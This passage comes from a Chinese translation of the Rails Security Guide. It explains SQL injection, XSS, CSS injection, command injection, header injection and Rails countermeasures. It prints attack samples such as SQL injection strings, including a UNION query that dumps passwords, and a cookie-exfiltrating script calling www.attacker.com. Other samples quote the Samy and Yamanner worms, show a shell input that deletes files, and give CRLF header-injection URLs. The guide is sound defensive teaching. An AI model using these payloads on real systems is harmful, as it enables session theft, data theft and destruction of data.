请注意,负向 CAPTCHA 仅对天真的机器人有效,不足以保护关键应用程序免受有针对性的机器人的攻击。尽管如此,负向和正向 CAPTCHA 可以结合使用以提高性能,例如,如果“蜜罐”字段不为空(检测到机器人),您将无需验证正向 CAPTCHA,这在计算响应之前需要向 Google ReCaptcha 发出 HTTPS 请求。

以下是一些关于如何通过 JavaScript 和/或 CSS 隐藏蜜罐字段的想法

  • 将字段放置在页面可见区域之外
  • 使元素非常小或将其颜色设置为与页面背景相同
  • 保持字段显示,但告诉人类将其留空

最简单的负面 CAPTCHA 是一个隐藏的蜜罐字段。在服务器端,您将检查该字段的值:如果它包含任何文本,则它一定是机器人。然后,您可以忽略该帖子或返回积极结果,但不将该帖子保存到数据库中。这样,机器人就会满意并继续前进。

您可以在 Ned Batchelder 的博客文章中找到更复杂的负面 CAPTCHA

  • 包含一个带有当前 UTC 时间戳的字段,并在服务器上检查它。如果它太久远,或者在将来,则表单无效。
  • 随机化字段名称
  • 包含多个所有类型的蜜罐字段,包括提交按钮

请注意,这仅保护您免受自动机器人的攻击,定制的机器人无法被阻止。因此,**负向 CAPTCHA 可能不适合保护登录表单**。

6.4. 日志记录

告诉 Rails 不要在日志文件中存储密码。

默认情况下,Rails 会记录所有对 Web 应用程序发出的请求。但日志文件可能是一个巨大的安全问题,因为它们可能包含登录凭据、信用卡号等。在设计 Web 应用程序安全概念时,您还应该考虑如果攻击者获得(完全)访问 Web 服务器会发生什么。如果在日志文件中以明文形式列出它们,那么加密数据库中的秘密和密码将毫无用处。您可以通过将某些请求参数附加到应用程序配置中的 config.filter_parameters 来**过滤日志文件中的某些请求参数**。这些参数将在日志中标记为 [FILTERED]。

config.filter_parameters << :password

提供的参数将通过部分匹配的正则表达式进行过滤。Rails 在适当的初始化器 (initializers/filter_parameter_logging.rb) 中添加了一个默认过滤器列表,包括 :passw:secret:token,以处理典型的应用程序参数,如 passwordpassword_confirmationmy_token

6.5. 正则表达式

Ruby 正则表达式中常见的陷阱是使用 ^ 和 $ 匹配字符串的开头和结尾,而不是 \A 和 \z。

Ruby 在匹配字符串的开头和结尾方面与其他许多语言略有不同。这就是为什么即使许多 Ruby 和 Rails 书籍也会出错。那么这如何构成安全威胁呢?假设您想宽松地验证一个 URL 字段,并且您使用了这样一个简单的正则表达式

/^https?:\/\/[^\n]+$/i

这在某些语言中可能运行良好。然而,**在 Ruby 中,^$ 匹配**行**的开头和行尾**。因此,像这样的 URL 毫无问题地通过了过滤器

javascript:exploit_code();/*
http://hi.com
*/

此 URL 通过了过滤器,因为正则表达式匹配——第二行,其余无关紧要。现在想象我们有一个视图,它显示 URL 如下

link_to "Homepage", @user.homepage

该链接对访问者来说看起来是无害的,但当点击时,它将执行 JavaScript 函数“exploit_code”或攻击者提供的任何其他 JavaScript。

要修复正则表达式,应使用 \A\z 代替 ^$,如下所示

/\Ahttps?:\/\/[^\n]+\z/i

由于这是一个常见错误,现在如果提供的正则表达式以 ^ 开头或以 $ 结尾,格式验证器 (validates_format_of) 将引发异常。如果您确实需要使用 ^ 和 $ 而不是 \A 和 \z(这种情况很少见),您可以将 :multiline 选项设置为 true,如下所示

# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }

请注意,这仅保护您免受在使用格式验证器时最常见的错误的影响——您始终需要记住,^ 和 $ 在 Ruby 中匹配**行**的开头和结尾,而不是字符串的开头和结尾。

6.6. 权限提升

更改单个参数可能会导致用户未经授权的访问。请记住,每个参数都可能被更改,无论您隐藏或混淆它多少。

用户可能篡改的最常见参数是 ID 参数,例如 http://www.domain.com/project/1,其中 1 是 ID。它将在控制器中的 params 中可用。在那里,您很可能会这样做

@project = Project.find(params[:id])

这对于某些 Web 应用程序来说是可以的,但如果用户无权查看所有项目,则肯定不行。如果用户将 ID 更改为 42,并且他们无权查看该信息,他们仍然可以访问它。相反,**也查询用户的访问权限**

@project = @current_user.projects.find(params[:id])

根据您的 Web 应用程序,用户可能会篡改更多参数。根据经验,**在证明其安全之前,任何用户输入数据都是不安全的,并且来自用户的每个参数都可能被篡改**。

不要被混淆安全和 JavaScript 安全所迷惑。开发人员工具允许您查看和更改每个表单的隐藏字段。**JavaScript 可用于验证用户输入数据,但肯定不能阻止攻击者发送带有意外值的恶意请求**。DevTools 记录每个请求,并可能重复和更改它们。这是绕过任何 JavaScript 验证的简单方法。甚至还有客户端代理,允许您拦截来自和发送到互联网的任何请求和响应。

7. 注入

注入是一类攻击,旨在将恶意代码或参数引入 Web 应用程序,以便在其安全上下文中运行。注入的突出示例是跨站脚本 (XSS) 和 SQL 注入。

注入非常棘手,因为相同的代码或参数在一个上下文中可能是恶意的,但在另一个上下文中则完全无害。上下文可以是脚本、查询或编程语言、shell 或 Ruby/Rails 方法。以下各节将涵盖可能发生注入攻击的所有重要上下文。然而,第一节将涵盖与注入相关的架构决策。

7.1. 白名单与黑名单

在清理、保护或验证某些内容时,优先使用白名单而不是黑名单。

黑名单可以是恶意电子邮件地址、非公开操作或恶意 HTML 标签的列表。这与白名单相反,白名单列出了好的电子邮件地址、公开操作、好的 HTML 标签等。尽管有时无法创建白名单(例如在垃圾邮件过滤器中),但**优先使用白名单方法**

  • 对于安全相关的操作,使用 before_action except: [...] 而不是 only: [...]。这样您就不会忘记为新添加的操作启用安全检查。
  • 允许 <strong> 而不是删除 <script> 以对抗跨站脚本 (XSS)。详情请参见下文。
  • 不要尝试使用黑名单来纠正用户输入
    • 这将使攻击成功:"<sc<script>ript>".gsub("<script>", "")
    • 但拒绝格式错误的输入

白名单也是解决人为因素忘记黑名单中某些内容的好方法。

7.2. SQL 注入

由于巧妙的方法,这在大多数 Rails 应用程序中几乎不是问题。然而,这是 Web 应用程序中一种非常具有破坏性和常见的攻击,因此了解这个问题很重要。

7.2.1. 介绍

SQL 注入攻击旨在通过操纵 Web 应用程序参数来影响数据库查询。SQL 注入攻击的一个常见目标是绕过授权。另一个目标是执行数据操纵或读取任意数据。以下是一个在查询中不使用用户输入数据的示例

Project.where("name = '#{params[:name]}'")

这可能在一个搜索操作中,用户可能会输入他们想要查找的项目名称。如果恶意用户输入 ' OR 1) --,则生成的 SQL 查询将是

SELECT * FROM projects WHERE (name = '' OR 1) --')

两个破折号表示注释,忽略其后的所有内容。因此,查询将返回 projects 表中的所有记录,包括那些用户看不到的记录。这是因为条件对所有记录都为真。

7.2.2. 绕过授权

通常,Web 应用程序包含访问控制。用户输入他们的登录凭据,Web 应用程序尝试在用户表中找到匹配的记录。当找到记录时,应用程序授予访问权限。但是,攻击者可能会通过 SQL 注入绕过此检查。以下显示了 Rails 中一个典型的数据库查询,用于查找用户表中与用户提供的登录凭据参数匹配的第一条记录。

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

如果攻击者输入 ' OR '1'='1 作为名称,输入 ' OR '2'>'1 作为密码,则生成的 SQL 查询将是

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

这只会简单地在数据库中找到第一条记录,并授予该用户访问权限。

7.2.3. 未经授权的读取

UNION 语句连接两个 SQL 查询并以一个集合返回数据。攻击者可以使用它从数据库中读取任意数据。让我们以上面为例

Project.where("name = '#{params[:name]}'")

现在让我们使用 UNION 语句注入另一个查询

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

这将导致以下 SQL 查询

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

结果不会是项目列表(因为没有名称为空的项目),而是用户名及其密码列表。所以希望您安全地哈希了数据库中的密码!攻击者唯一的问题是,两个查询中的列数必须相同。这就是第二个查询包含一列一(1)的原因,该列的值始终为 1,以匹配第一个查询中的列数。

此外,第二个查询使用 AS 语句重命名了一些列,以便 Web 应用程序显示来自用户表的值。

7.2.4. 对策

Ruby on Rails 内置了针对特殊 SQL 字符的过滤器,它将转义 '"、NULL 字符和换行符。**使用 Model.find(id)Model.find_by_something(something) 会自动应用此对策**。但在 SQL 片段中,尤其是在**条件片段 (where("..."))、connection.execute()Model.find_by_sql() 方法中,必须手动应用它**。

除了传递字符串,您还可以使用位置处理程序来清理受污染的字符串,例如

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

第一个参数是带有问号的 SQL 片段。第二个和第三个参数将用变量的值替换问号。

您也可以使用命名处理程序,值将取自使用的哈希

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

此外,您可以拆分和链接适用于您用例的条件

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

请注意,前面提到的对策仅在模型实例中可用。您可以在其他地方尝试 sanitize_sql。**养成在使用 SQL 中的外部字符串时考虑安全后果的习惯**。

7.3. 跨站脚本 (XSS)

XSS 是 Web 应用程序中最普遍、最具破坏性的安全漏洞之一。这种恶意攻击注入客户端可执行代码。Rails 提供了辅助方法来抵御这些攻击。

7.3.1. 入口点

入口点是攻击者可以发起攻击的易受攻击的 URL 及其参数。

最常见的入口点是消息发布、用户评论和留言板,但项目标题、文档名称和搜索结果页面也曾易受攻击——几乎所有用户可以输入数据的地方。但输入不一定来自网站上的输入框,它可以是任何 URL 参数——显而易见、隐藏或内部的。请记住,用户可以拦截任何流量。应用程序或客户端代理使更改请求变得容易。还有其他攻击媒介,如横幅广告。

XSS 攻击的工作原理是:攻击者注入一些代码,Web 应用程序保存它并将其显示在页面上,稍后呈现给受害者。大多数 XSS 示例只是显示一个警报框,但它比这更强大。XSS 可以窃取 cookie,劫持会话,将受害者重定向到虚假网站,显示有利于攻击者的广告,更改网站上的元素以获取机密信息,或通过 Web 浏览器中的安全漏洞安装恶意软件。

在 2007 年下半年,Mozilla 浏览器报告了 88 个漏洞,Safari 22 个,IE 18 个,Opera 12 个。赛门铁克全球互联网安全威胁报告还记录了 2007 年最后六个月的 239 个浏览器插件漏洞。Mpack 是一个非常活跃和最新的攻击框架,它利用了这些漏洞。对于犯罪黑客来说,利用 Web 应用程序框架中的 SQL 注入漏洞并在每个文本表列中插入恶意代码非常有吸引力。2008 年 4 月,超过 510,000 个网站因此被黑客攻击,其中包括英国政府、联合国和许多其他知名目标。

7.3.2. HTML/JavaScript 注入

最常见的 XSS 语言当然是最流行的客户端脚本语言 JavaScript,通常与 HTML 结合使用。**转义用户输入至关重要**。

以下是最直接的 XSS 检查方法

<script>alert('Hello');</script>

这段 JavaScript 代码将简单地显示一个警报框。接下来的示例执行完全相同的操作,只是在非常不常见的位置

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">

到目前为止,这些示例没有造成任何损害,那么让我们看看攻击者如何窃取用户的 cookie(从而劫持用户的会话)。在 JavaScript 中,您可以使用 document.cookie 属性来读取和写入文档的 cookie。JavaScript 强制执行同源策略,这意味着来自一个域的脚本无法访问另一个域的 cookie。document.cookie 属性保存着原始 Web 服务器的 cookie。但是,如果您将代码直接嵌入 HTML 文档中(就像 XSS 中发生的那样),则可以读取和写入此属性。将其注入到您的 Web 应用程序中的任何位置,即可在结果页面上看到您自己的 cookie

<script>document.write(document.cookie);</script>

对攻击者来说,这当然没什么用,因为受害者会看到他们自己的 cookie。下一个示例将尝试从 URL http://www.attacker.com/ 加载图像以及 cookie。当然,这个 URL 不存在,所以浏览器什么也不会显示。但攻击者可以查看其 Web 服务器的访问日志文件以查看受害者的 cookie。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com 上的日志文件将显示如下

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

您可以通过在 cookie 中添加 **httpOnly** 标志来缓解这些攻击(以显而易见的方式),这样 JavaScript 就无法读取 document.cookie。HTTP only cookie 可用于 IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4 和 Chrome 1.0.154 及更高版本。但是,其他较旧的浏览器(如 WebTV 和 Mac 上的 IE 5.5)实际上可能导致页面加载失败。请注意,cookie 仍将使用 Ajax 可见

7.3.2.2. 网页篡改

通过网页篡改,攻击者可以做很多事情,例如,提供虚假信息或诱骗受害者访问攻击者的网站以窃取 cookie、登录凭据或其他敏感数据。最流行的方式是通过 iframe 包含外部来源的代码

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

这会从外部来源加载任意 HTML 和/或 JavaScript,并将其作为网站的一部分嵌入。此 iframe 取自对合法意大利网站使用 Mpack 攻击框架的实际攻击。Mpack 试图通过网络浏览器中的安全漏洞安装恶意软件——非常成功,50% 的攻击成功。

更专业的攻击可能会覆盖整个网站或显示一个登录表单,该表单看起来与网站原始表单相同,但将用户名和密码传输到攻击者的网站。或者它可以使用 CSS 和/或 JavaScript 隐藏 Web 应用程序中的合法链接,并在其位置显示另一个链接,该链接重定向到虚假网站。

反射型注入攻击是指不存储有效载荷以供稍后呈现给受害者,而是将其包含在 URL 中。特别是搜索表单未能转义搜索字符串。以下链接显示了一个页面,其中指出“乔治·布什任命一名 9 岁男孩担任主席...”

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
7.3.2.3. 对策

过滤恶意输入非常重要,但转义 Web 应用程序的输出也很重要.

特别是对于 XSS,重要的是进行**允许输入过滤而不是拒绝**。允许列表过滤指定允许的值,而不是不允许的值。拒绝列表从不完整。

假设拒绝列表从用户输入中删除了 "script"。现在攻击者注入 "<scrscriptipt>",过滤后,"<script>" 仍然存在。早期版本的 Rails 对 strip_tags()strip_links()sanitize() 方法使用了拒绝列表方法。因此,这种注入是可能的

strip_tags("some<<b>script>alert('hello')<</b>/script>")

这返回了 "some<script>alert('hello')</script>",这使得攻击成功。这就是为什么使用更新后的 Rails 2 方法 sanitize() 的允许列表方法更好

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

这只允许给定的标签,并且即使面对各种技巧和格式错误的标签也能做得很好。

Action View 和 Action Text 都基于 rails-html-sanitizer gem 构建其 清理辅助方法

第二步,**最佳做法是转义应用程序的所有输出**,特别是当重新显示未经过输入过滤的用户输入时(如前面的搜索表单示例)。**使用 html_escape()(或其别名 h())方法**将 HTML 输入字符 &"<> 替换为其在 HTML 中的未解释表示(&amp;&quot;&lt;&gt;)。

7.3.2.4. 混淆和编码注入

网络流量主要基于有限的西方字母,因此出现了新的字符编码,例如 Unicode,用于传输其他语言的字符。但是,这也会对 Web 应用程序造成威胁,因为恶意代码可以隐藏在不同的编码中,Web 浏览器可能能够处理,但 Web 应用程序可能无法处理。这是一个 UTF-8 编码的攻击向量

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

此示例会弹出一个消息框。但是,它会被上述 sanitize() 过滤器识别。一个很好的混淆和编码字符串的工具,从而“了解您的敌人”,是 Hackvertor。Rails 的 sanitize() 方法在抵御编码攻击方面做得很好。

7.3.3. 来自地下世界的例子

为了理解当今对 Web 应用程序的攻击,最好看看一些真实的攻击向量。

以下是 Js.Yamanner@m Yahoo! Mail 蠕虫的摘录。它于 2006 年 6 月 11 日出现,是第一个 Webmail 界面蠕虫

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

该蠕虫利用了雅虎 HTML/JavaScript 过滤器的一个漏洞,该过滤器通常会从标签中过滤掉所有目标和 onload 属性(因为其中可能包含 JavaScript)。然而,该过滤器只应用一次,因此包含蠕虫代码的 onload 属性仍然存在。这是一个很好的例子,说明了为什么拒绝列表过滤器永远不完整,以及为什么在 Web 应用程序中允许 HTML/JavaScript 很难。

另一个概念验证的 Webmail 蠕虫是 Nduja,一个针对四个意大利 Webmail 服务的跨域蠕虫。在 Rosario Valotta 的论文中找到更多详细信息。这两个 Webmail 蠕虫的目标都是收集电子邮件地址,这是犯罪黑客可以赚钱的东西。

2006 年 12 月,MySpace 钓鱼攻击中窃取了 34,000 个实际的用户名和密码。攻击的目的是创建一个名为“login_home_index_html”的个人资料页面,这样 URL 看起来非常有说服力。使用特制的 HTML 和 CSS 隐藏了页面上的真实 MySpace 内容,而是显示自己的登录表单。

7.4. CSS 注入

CSS 注入实际上是 JavaScript 注入,因为某些浏览器(IE、某些版本的 Safari 等)允许在 CSS 中使用 JavaScript。在您的 Web 应用程序中允许自定义 CSS 时请三思。

CSS 注入最好通过著名的 MySpace Samy 蠕虫来解释。这个蠕虫通过访问 Samy(攻击者)的个人资料页面,自动向他发送了好友请求。在几个小时内,他收到了超过 100 万个好友请求,产生了如此大的流量,以至于 MySpace 宕机。以下是该蠕虫的技术解释。

MySpace 阻止了许多标签,但允许 CSS。所以蠕虫的作者将 JavaScript 放入 CSS 中,如下所示

<div style="background:url('javascript:alert(1)')">

所以有效载荷在 style 属性中。但有效载荷中不允许有引号,因为单引号和双引号已经用过了。但是 JavaScript 有一个方便的 eval() 函数,它可以将任何字符串作为代码执行。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval() 函数是拒绝列表输入过滤器的噩梦,因为它允许 style 属性隐藏单词“innerHTML”

alert(eval('document.body.inne' + 'rHTML'));

蠕虫作者的下一个问题是 MySpace 过滤了单词 "javascript",因此作者使用了 "java<NEWLINE>script" 来绕过此问题

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

蠕虫作者面临的另一个问题是 CSRF 安全令牌。没有它们,他无法通过 POST 发送好友请求。他通过在添加用户之前向页面发送 GET 请求并解析结果以获取 CSRF 令牌来绕过此问题。

最后,他得到了一个 4 KB 的蠕虫,并将其注入到他的个人资料页面中。

moz-binding CSS 属性被证明是在基于 Gecko 的浏览器(例如 Firefox)中将 JavaScript 引入 CSS 的另一种方式。

7.4.1. 对策

这个例子再次表明,拒绝列表过滤器永远不完整。然而,由于 Web 应用程序中的自定义 CSS 功能相当罕见,因此可能很难找到一个好的允许 CSS 过滤器。**如果您想允许自定义颜色或图像,您可以允许用户选择它们并在 Web 应用程序中构建 CSS**。如果您确实需要一个允许 CSS 过滤器,请使用 Rails 的 sanitize() 方法作为模型。

7.5. Textile 注入

如果您想提供 HTML 以外的文本格式(出于安全原因),请使用在服务器端转换为 HTML 的标记语言。RedCloth 是 Ruby 的一种此类语言,但如果不采取预防措施,它也容易受到 XSS 攻击。

例如,RedCloth 将 _test_ 转换为 <em>test<em>,这会使文本倾斜。但是,RedCloth 默认不过滤不安全的 html 标签

RedCloth.new("<script>alert(1)</script>").to_html
# => "<script>alert(1)</script>"

使用 :filter_html 选项删除不是由 Textile 处理器创建的 HTML。

RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
# => "alert(1)"

然而,这并不能过滤所有 HTML,一些标签将被保留(按设计),例如 <a>

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

7.5.1. 对策

建议**将 RedCloth 与允许输入过滤器结合使用**,如 XSS 对策部分所述。

7.6. Ajax 注入

Ajax 操作和“普通”操作一样,必须采取相同的安全预防措施。然而,至少有一个例外:如果操作不渲染视图,则输出必须已经在控制器中转义。

如果您使用 in_place_editor 插件,或返回字符串而不是渲染视图的操作,**您必须在操作中转义返回值**。否则,如果返回值包含 XSS 字符串,则恶意代码将在返回浏览器时执行。使用 h() 方法转义任何输入值。

7.7. 命令行注入

谨慎使用用户提供的命令行参数。

如果您的应用程序必须在底层操作系统中执行命令,Ruby 中有几种方法:system(command)exec(command)spawn(command)`command`。如果用户可以输入整个命令或其中一部分,您必须特别小心这些函数。这是因为在大多数 shell 中,您可以在第一个命令的末尾执行另一个命令,通过分号 (;) 或竖线 (|) 将它们连接起来。

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory

一个对策是**使用 system(command, parameters) 方法安全地传递命令行参数**。

system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files

7.7.1. Kernel#open 的漏洞

如果参数以竖线 (|) 开头,则 Kernel#open 执行操作系统命令。

open("| ls") { |file| file.read }
# returns file list as a String via `ls` command

对策是改用 File.openIO.openURI#open。它们不会执行操作系统命令。

File.open("| ls") { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists

IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument

require "open-uri"
URI("https://example.com").open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`

7.8. 头信息注入

HTTP 头信息是动态生成的,在某些情况下,用户输入可能会被注入。这可能导致错误的重定向、XSS 或 HTTP 响应拆分。

HTTP 请求头信息中包含 Referer、User-Agent(客户端软件)和 Cookie 等字段。响应头信息中例如包含状态码、Cookie 和 Location(重定向目标 URL)字段。所有这些都由用户提供,并且可能或多或少地被操纵。请记住也要对这些头信息字段进行转义。例如,当你在管理区域显示用户代理时。

除此之外,在部分基于用户输入构建响应头信息时,了解你在做什么非常重要。例如,你想将用户重定向回特定页面。为此,你在表单中引入了一个“referer”字段,以重定向到给定地址。

redirect_to params[:referer]

发生的情况是 Rails 将字符串放入 Location 头信息字段,并向浏览器发送 302(重定向)状态。恶意用户会做的第一件事是:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

由于 Ruby 和 Rails 在 2.1.2 版本(不包括该版本)之前的错误,黑客可能会注入任意头信息字段;例如这样:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

请注意,%0d%0a\r\n 的 URL 编码,在 Ruby 中是回车和换行(CRLF)。因此,第二个示例生成的 HTTP 头信息将如下所示,因为第二个 Location 头信息字段会覆盖第一个。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

因此,头信息注入的攻击向量是基于在头信息字段中注入 CRLF 字符。攻击者可以通过错误的重定向做什么?他们可以重定向到看起来与你的网站相同的钓鱼网站,但要求重新登录(并将登录凭据发送给攻击者)。或者他们可以通过该网站上的浏览器安全漏洞安装恶意软件。Rails 2.1.2 在 redirect_to 方法中对 Location 字段的这些字符进行转义。当你使用用户输入构建其他头信息字段时,请确保自己也这样做。

7.8.1. DNS 重绑定和 Host 头攻击

DNS 重绑定是一种操纵域名解析的方法,通常用作一种计算机攻击形式。DNS 重绑定通过滥用域名系统(DNS)来规避同源策略。它将一个域重新绑定到不同的 IP 地址,然后通过从更改后的 IP 地址对你的 Rails 应用程序执行随机代码来损害系统。

建议使用 ActionDispatch::HostAuthorization 中间件来防范 DNS 重绑定和其他 Host 头攻击。它在开发环境中默认启用,你必须通过设置允许的主机列表来在生产环境和其他环境中激活它。你还可以配置例外情况并设置自己的响应应用程序。

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # Exclude requests for the /healthcheck/ path from host checking
  exclude: ->(request) { request.path.include?("healthcheck") },
  # Add custom Rack application for the response
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

你可以在 ActionDispatch::HostAuthorization 中间件文档 中了解更多信息。

7.8.2. 响应拆分

如果头信息注入是可能的,那么响应拆分也可能是。在 HTTP 中,头信息块后面是两个 CRLF 和实际数据(通常是 HTML)。响应拆分的想法是向头信息字段注入两个 CRLF,然后是另一个包含恶意 HTML 的响应。响应将是:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

在某些情况下,这会向受害者呈现恶意 HTML。然而,这似乎只适用于 Keep-Alive 连接(许多浏览器使用的是一次性连接)。但你不能依赖这一点。无论如何,这是一个严重的错误,你应该将 Rails 更新到 2.0.5 或 2.1.2 版本,以消除头信息注入(以及随之而来的响应拆分)的风险。

8. 不安全的查询生成

由于 Active Record 解释参数的方式与 Rack 解析查询参数的方式相结合,因此可以使用 IS NULL where 子句发出意外的数据库查询。作为对该安全问题(CVE-2012-2660CVE-2012-2694CVE-2013-0155)的回应,引入了 deep_munge 方法作为默认情况下保持 Rails 安全的解决方案。

如果未执行 deep_munge,攻击者可能使用的易受攻击代码示例是:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token][nil][nil, nil, ...]['foo', nil] 之一时,它将绕过对 nil 的测试,但 IS NULLIN ('foo', NULL) where 子句仍将添加到 SQL 查询中。

为了默认保持 Rails 的安全,deep_munge 会将某些值替换为 nil。下表显示了基于请求中发送的 JSON,参数的样式:

JSON 参数
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

如果你了解风险并知道如何处理,则可以通过配置应用程序来恢复旧行为并禁用 deep_munge

config.action_dispatch.perform_deep_munge = false

9. HTTP 安全头信息

为了提高应用程序的安全性,可以配置 Rails 以返回 HTTP 安全头信息。某些头信息默认已配置;其他头信息需要明确配置。

9.1. 默认安全头信息

Rails 默认配置为返回以下响应头信息。你的应用程序会为每个 HTTP 响应返回这些头信息。

9.1.1. X-Frame-Options

X-Frame-Options 头信息指示浏览器是否可以在 <frame><iframe><embed><object> 标签中呈现页面。此头信息默认设置为 SAMEORIGIN,仅允许在同一域上进行框架嵌入。将其设置为 DENY 可完全拒绝框架嵌入,或如果你想允许在所有域上进行框架嵌入,则完全删除此头信息。

9.1.2. X-XSS-Protection

一个已弃用的旧版头信息,在 Rails 中默认设置为 0,以禁用有问题的旧版 XSS 审计器。

9.1.3. X-Content-Type-Options

X-Content-Type-Options 头信息在 Rails 中默认设置为 nosniff。它阻止浏览器猜测文件的 MIME 类型。

9.1.4. X-Permitted-Cross-Domain-Policies

此头信息在 Rails 中默认设置为 none。它禁止 Adobe Flash 和 PDF 客户端在其他域上嵌入你的页面。

9.1.5. Referrer-Policy

Referrer-Policy 头信息在 Rails 中默认设置为 strict-origin-when-cross-origin。对于跨域请求,这只在 Referer 头信息中发送来源。这可以防止私有数据泄露,这些数据可能从完整 URL 的其他部分(例如路径和查询字符串)访问。

9.1.6. 配置默认头信息

这些头信息默认配置如下:

config.action_dispatch.default_headers = {
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}

你可以在 config/application.rb 中覆盖这些或添加额外的头信息

config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
config.action_dispatch.default_headers["Header-Name"]     = "Value"

或者你可以删除它们

config.action_dispatch.default_headers.clear

9.2. Strict-Transport-Security 头信息

HTTP Strict-Transport-Security (HSTS) 响应头信息确保浏览器自动升级到 HTTPS,用于当前和未来的连接。

当启用 force_ssl 选项时,头信息会添加到响应中

config.force_ssl = true

9.3. Content-Security-Policy 头信息

为了帮助防范 XSS 和注入攻击,建议为你的应用程序定义一个 Content-Security-Policy 响应头信息。Rails 提供了一个 DSL,允许你配置该头信息。

在适当的初始化文件中定义安全策略

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Specify URI for violation reports
  policy.report_uri "/csp-violation-report-endpoint"
end

可以按资源覆盖全局配置的策略

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

或者可以禁用它

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

使用 lambda 注入按请求的值,例如多租户应用程序中的帐户子域

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

9.3.1. 报告违规行为

启用 report-uri 指令以向指定的 URI 报告违规行为

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

迁移旧内容时,你可能希望报告违规行为而不强制执行策略。设置 Content-Security-Policy-Report-Only 响应头信息以仅报告违规行为。

Rails.application.config.content_security_policy_report_only = true

或者在控制器中覆盖它

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

9.3.2. 添加随机数

如果你正在考虑使用 'unsafe-inline',请考虑改用随机数。当在现有代码之上实现内容安全策略时,随机数比 'unsafe-inline' 提供了实质性的改进

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

配置随机数生成器时需要考虑一些权衡。使用 SecureRandom.base64(16) 是一个很好的默认值,因为它会为每个请求生成一个新的随机随机数。但是,此方法与 条件 GET 缓存 不兼容,因为新的随机数将导致每个请求都有新的 ETag 值。每请求随机随机数的替代方案是使用会话 ID。

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

这种生成方法与 ETag 兼容,但其安全性取决于会话 ID 是否足够随机且未在不安全的 Cookie 中暴露。

